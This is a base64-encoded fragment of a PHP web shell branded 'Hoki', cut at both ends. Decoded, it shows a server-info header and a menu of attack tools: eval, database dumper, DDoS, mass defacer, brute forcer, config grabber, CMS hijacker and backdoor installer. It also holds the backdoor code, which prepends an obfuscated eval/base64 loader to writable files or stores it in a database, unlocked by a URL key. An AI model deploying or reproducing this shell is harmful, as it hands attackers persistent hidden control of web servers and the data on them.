8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIG
NsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc
3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj48ZGl2IGlkPSJob2tpX2tpc2Vy
eW91bmkiPjxjZW50ZXI+PGEgaHJlZj0iaHR0cHM6Ly90Lm1lL2tpc2VyeW91bmkiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ia2lzZXJ5b3VuaS10ZXh0IiBjb2xvcj0iIzBGMCI+S2lzZVJ5b3VuaSAmIEhva2kzMDM8L2ZvbnQ
+PC9zcGFuPjwvYT48L2NlbnRlcj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjExIiBjb2xzcGFuPSIzIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk9wZW5fYmFzZWRpciA6PC9zcGFuPjxiPicuJG9wZW5fYi4nPC9iPiB8ID
xzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U2FmZV9tb2RlX2V4ZWNfZGlyIDo8L3NwYW4+PGI+Jy4kc2FmZV9leGUuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlX21vZGVfaW5jbHVkZV9kaXIgOjwvc3Bhbj48L2I+Jy4kc
2FmZV9pbmNsdWRlLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Tb2Z0V2FyZTogPC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZU
V0FSRScpLic8L2I+PC90ZD4KPC90cj4nOwppZigkR0xPQkFMU1snc3lzJ109PSJ3aW4iKXsKZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EUklWRTo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjI
iPjxiPicuJGRyaXZlcy4nPC9iPjwvdGQ+CjwvdHI+JzsKfQplY2hvICc8dHI+Cjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBXRDo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjIiPjxzcGFuIGlkPSJoZWFkZXJfY3
dkIj4nLiRjd2RfbGlua3MuJyA8L3NwYW4+PGEgaHJlZj0iI2FjdGlvbj1maWxlbWFuJnBhdGg9Jy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ
1wnLFwnXCcsXCdcJykiPjxzcGFuIGNsYXNzPSJob21lX3NoZWxsIj5bIEhvbWUgU2hlbGwgXTwvc3Bhbj4gPC9hPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8ZGl2IGlkPSJtZXVubGlzdCI+Cjx1bD4KJzsKJGxpID0gYXJyYXkoJ3Byb2Mn
PT4nUHJvY2VzcycsJ3BocGV2YWwnPT4nRXZhbCcsJ3NxbCc9PidTUUwgTWFuYWdlcicsJ2R1bXBlcic9PidEYXRhYmFzZSBEdW1wZXInLCdjb2xkdW1wZXInPT4nQ29sdW1uIER1bXBlcicsJ2hhc2gnPT4nRW4tRGVjb2RlcicsJ2Nvbm5lY3QnPT4
nQkMnLAonem9uZWgnPT4nWk9ORS1IJywnZG9zJz0+J0RET1MnLCdzYWZlJz0+J0J5UGFzc2VyJywnY2dpc2hlbGwnPT4nQ2dpIFNoZWxsJywnc3NpU2hlbGwnPT4nU1NJIFNIRUxMJywnY3BjcmFjayc9PidIYXNoIFRvb2xzJywKJ3BvcnRzY2Fubm
VyJz0+J1BvcnQgU2NhbmVyJywnYmFzZWRpcic9PidPcGVuIEJhc2VEaXInLCdtYWlsJz0+J0Zha2UgTWFpbCcsJ3ppcGVyJz0+J0NvbXByZXNzb3InLCdkZXppcGVyJz0+J0RlQ29tcHJlc3NvcicsJ0luZGV4Q2hhbmdlcic9PidJbmRleCBDaGFuZ
2VyJywncHdjaGFuZ2VyJz0+J0FkZCBOZXcgQWRtaW4nLCdTaGVsbEluamVjdG9ycyc9PidTaGVsbCBJbmplY3RvcnMnLAoncGhwMnhtbCc9PidQSFAyWE1MJywnY2xvdWRmbGFyZSc9PidDbG91ZEZsYXJlJywnV2htY3MnPT4nV2htY3MgRGVDb2Rl
cicsJ3N5bWxpbmsnPT4nU3ltbGluaycsJ01hc3NEZWZhY2VyJz0+J01hc3MgRGVmYWNlcicsJ0NyYWNrZXJzJz0+J0JydXRlRm9yY2VyJywnc2VhcmNoZXInPT4nU2VhcmNoZXInLCdjb25maWdfZ3JhYmJlcic9PidDb25maWcgR3JhYmJlcicsJ2Z
ha2VwYWdlJz0+J0Zha2UgUGFnZScsJ2FyY2hpdmVfbWFuYWdlcic9PidBcmNoaXZlIE1hbmFnZXInLAonY21zaGlqYWNrZXInPT4nQ01TIEhpamFja2VyJywncmVtb3RlZGwnPT4nUmVtb3RlIFVwbG9hZCcsJ2luYmFja2Rvb3InPT4nSW5zdGFsbC
BCYWNrRG9vcicsJ3dob2lzJz0+J1dob2lzJywnc2VsZnJtJz0+J1JlbW92ZSBTaGVsbCcKKTsKZm9yZWFjaCgkbGkgYXMgJGtleT0+JHZhbHVlKXsKZWNobygnPGxpPjxhIGlkPSJtZW51X29wdF8nLiRrZXkuJyIgaHJlZj0iI2FjdGlvbj1vcHRpb
25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9Jy4ka2V5LiciIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9
Jy4ka2V5LidcJztnKFwnJy4ka2V5LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPicuJHZhbHVlLic8L2E+PC9saT4nLiJcbiIpOwp9CmVjaG8
gJzwvdWw+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO3BhZGRpbmc6IDZweDsiPjxhIGlkPSJtZW51X29wdF9zZXR0aW5ncyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9c2V0dGluZ3MiIG
NsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9c2V0dGluZ3NcJztnKFwnc2V0dGluZ3NcJyxudWxsLFwnXCcsXCdcJyxcJ
1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPkhva2kgU2V0dGluZ3M8L2E+PGEgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGlkPSJtZW51X29wdF9tYXJrZXQiIGhyZWY9IiNhY3Rpb249
b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PW1hcmtldCIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iaG9raV9jYW5fYWRkX29wdD10cnVlO3RoaXMuaHJlZj1cJyNhY3Rpb249b3B0aW9ucyZwYXRoPVwnK2NfK1wnJm9
wdD1tYXJrZXRcJztnKFwnbWFya2V0XCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij48c3BhbiBjbGFzcz0iaG9raV9wbHVzIj5Ib2tpIG1hcmtldD
wvc3Bhbj48L2E+PGEgaWQ9Im1lbnVfb3B0X2Fib3V0dXMiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PWFib3V0dXMiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vc
HQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9YWJvdXR1c1wnO2coXCdhYm91dHVzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9
dGhpcy5pbm5lckhUTUw7Ij5BYm91dCBVczwvYT4nLighZW1wdHkoJF9DT09LSUVbJ0hva2lVc2VyJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnSG9raVBhc3MnXSkgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iaG9raUx
vZ091dCgpOyI+PGZvbnQgY29sb3I9InJlZCI+TG9nT3V0PC9mb250PjwvYT4nOicnKS4nPC9kaXY+PC9kaXY+PGRpdiBpZD0iZmlsZXNtYW5fdGFicyI+PGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbn
QpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgZm1fY291bnRlcj0iMSIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgZm1faWQ9IjEiIGlkPSJmaWxlc21hbl90YWJfMSIgY2xhc3M9ImZpbGVzb
WFuX3RhYiBmaWxlc21hbi10YWItYWN0aXZlIiBvbmNsaWNrPSJmaWxlc21hblRhYkNvbnRyb2xsZXIodGhpcyk7Ij48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRl
cjIuc3ZnIj4gPHNwYW4+RmlsZSBtYW5hZ2VyPC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyIgaWQ9ImZpbGVzbWFuX3RhYnNfY2hpbGQiPjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX25ld190YWIiIGNsYXNzPSJ
maWxlc21hbl90YWIiIHN0eWxlPSJiYWNrZ3JvdW5kOiBtYXJvb247IiBvbkNsaWNrPSJob2tpRmlsZXNNYW5OZXdUYWIoY18sXCcvXCcsMSk7Ij5OZXcgVGFiICs8L2Rpdj48L2Rpdj4nO31lbHNlewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV
9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfd
GltZV9saW1pdCgwKTsKfX0KZnVuY3Rpb24gaG9raWxvZ291dCgpewpAc2V0Y29va2llKCJIb2tpVXNlciIsIG51bGwsIDIwMTIpOwpAc2V0Y29va2llKCJIb2tpUGFzcyIsIG51bGwsIDIwMTIpOwp1bnNldCgkX0NPT0tJRVsnSG9raVVzZXInXSwk
X0NPT0tJRVsnSG9raVBhc3MnXSk7CmVjaG8oIm9rIik7Cn0KZnVuY3Rpb24gc2hvd0FuaW1hdGlvbigkbmFtZSl7CglyZXR1cm4gJy13ZWJraXQtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbml
tYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2
FyZHM7JzsKfQpmdW5jdGlvbiBfX3Nob3dpY29uKCRyKXsKCSRzWydidG4nXT0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lY
WdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nJzsKCSRzWydob2tpbWluaSddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdh
cnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJJHNbJ2xvYWRlciddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDM
wOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NC
wnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGhva2lpbmJhY2tkb29yKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZ
WFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2Ny
aXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29
yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYX
k6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0hva2kgVGVhb
SBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdp
bkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0naG9raSc+SG9raSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9
ob21lL2hva2kvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydob2tpMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbn
N1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J
3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9
J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdob2tpJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMiddIT0nJyYmJF9QT1NUWyd
ob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2kyJ107CiRmaWxlID0gJF9QT1NUWydob2tpMyddOwokc2hlbGwgPSAkX1BPU1RbJ2hva2k0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIi
csJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2hva2k1J10pKTsKaWYoJGtleT09JycpJGtleT0naG9raSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fSE9LSV9TSEVMT
F9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwi
LiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2R
lLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2hva2k9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1
BPU1RbJ2hva2kxJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpb
mJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRo
aXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA
9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQyJyA9PgphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfdXNlcm
5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfdXNlcm5hbWUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKJ3RkMycgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkT
mFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAondGQ0JyA9PgphcnJheSgnY29sb3InID0+
ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCid0ZDUnID0+CmFycmF5KCd
jb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdCYWNrZG9vciBMb2FkZXI6ICcsICdpbnB1dE5hbWUnID0+ICdmaWxlJywgJ2lucHV0VmFsdWUnID0+ICRjd2QsICdpbnB1dFNpemUnID0+ICc1MCcsICdwbGFjZWhvbGRlcicgPT4gdHJ1ZS
ksCid0ZDYnID0+CmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdLZXk6ICcsICdpbnB1dE5hbWUnID0+ICdrZXknLCAnaW5wdXRWYWx1ZScgPT4gJ2hva2knLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFib
GUoJHRhYmxlKTsKZWNobygiPHA+eyRzZWxlY3R9PC9wPiIpOwplY2hvKCR0ZXh0YXJlYSk7CmVjaG8oIjxwPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L3A+PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMidd
IT0nJyYmJF9QT1NUWydob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNSddIT0nJyYmJF9QT1NUWydob2tpNiddIT0nJyl7CiRkYmhvc3QgPSAkX1BPU1RbJ2hva2kyJ107CiRkYnVzZXIgPSAkX1BPU1RbJ2hva2kzJ107CiRkYnB3ID0gJF9QT1NUWyd
ob2tpNCddOwokZGJuYW1lID0gJF9QT1NUWydob2tpNSddOwokZmlsZSA9ICRfUE9TVFsnaG9raTYnXTsKJG1ldGhvZCA9ICRfUE9TVFsnaG9raTcnXTsKJHNoZWxsID0gJF9QT1NUWydob2tpOCddOwoka2V5ID0gc3RyX3JlcGxhY2UoYXJyYXkoJy
InLCdcJycpLCcnLHRyaW0oJF9QT1NUWydob2tpOSddKSk7CmlmKCRrZXk9PScnKSRrZXk9J2hva2knOwppZigkbWV0aG9kPT0nbXknKXskc2hlbGw9X19aVzVqYjJSbGNnKCRzaGVsbCk7fWVsc2V7JHNoZWxsPSRHTE9CQUxTWydfX0hPS0lfU0hFT
ExfQ09ERSddO30KaWYoJGNvbm4gPSBteXNxbGlfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicHcsJGRibmFtZSkpewokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGNv
bm49bXlzcWxpX2Nvbm5lY3QoIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRiaG9zdCkuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRidXNlcikuJyIsIicuc3RyX3JlcGxhY2UoJyInLCdcIicsJGRicHcpLiciLCInLnN0cl9yZXBsYWNlKCc
iJywnXCInLCRkYm5hbWUpLiciKTskcT1teXNxbGlfcXVlcnkoJGNvbm4sIlNFTEVDVCBgY29kZWAgRlJPTSBob2tpX2JjIExJTUlUIDAsMSIpOyRyPW15c3FsaV9mZXRjaF9hc3NvYygkcSk7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdG
lvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoJHJbImNvZGUiXSk7ZXhpdDt9Pz4nOwppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpe
wpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdEUk9QIFRBQkxFIGBob2tpX2JjYCcpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdDUkVBVEUgVEFCTEUgYGhva2lfYmNgIChjb2RlIExPTkdURVhUKScpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCdJTlNFUlQgSU5U
TyBgaG9raV9iY2AgVkFMVUVTKCInLiRzaGVsbC4nIiknKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7Cl9fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmF
tZSgkZmlsZSkuIj9ob2tpPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX19CmVjaG8oJzwvZGl2PicpOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raXdob2lzKCl7CmVjaG8oIjxkaXYgY2xhc3M9J2hlYWRlci
c+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBXaG9pcyB8PC9kaXY+PC9wPjxwPjxmb3JtIG9uc3VibWl0PVwiZygnd2hvaXMnLG51bGwsdGhpcy51cmwudmFsdWUsJz4+Jyk7cmV0dXJuIGZhbHNlO1wiPjxkaXYgY2xhc
3M9J3R4dGZvbnQnPlVybDogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1cmwnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0nZ29vZ2xlLmNvbSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZh
bHVlPScgJz48L2Zvcm0+PC9wPjwvY2VudGVyPiIpOwppZigkX1BPU1RbJ2hva2kyJ109PSc+PicmJiFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cDovLycsJ2h0dHBzOi8vJywnd3d3LicsJ2Z
0cDovLycpLCcnLCRfUE9TVFsnaG9raTEnXSk7CiR0YXJnZXQgPSAnaHR0cDovL2FwaS53aG9hcGkuY29tLz9hcGlrZXk9MDkzYjZjYjllNmVhNzI0ZTEwMTkyODY0N2RmM2UwMDkmcj13aG9pcyZkb21haW49Jy4kc2l0ZTsKJGRhdGEgPSBAZmlsZV
9nZXRfY29udGVudHMoJHRhcmdldCk7CmlmKCRkYXRhPT0nJyl7JGdldCA9IG5ldyBIb2tpQ1VSTCgpOyRnZXQtPnNzbCA9IHRydWU7JGRhdGEgPSAkZ2V0LT5TZW5kKCR0YXJnZXQpO30KJHRhcmdldCA9IEBqc29uX2RlY29kZSgkZGF0YSx0cnVlK
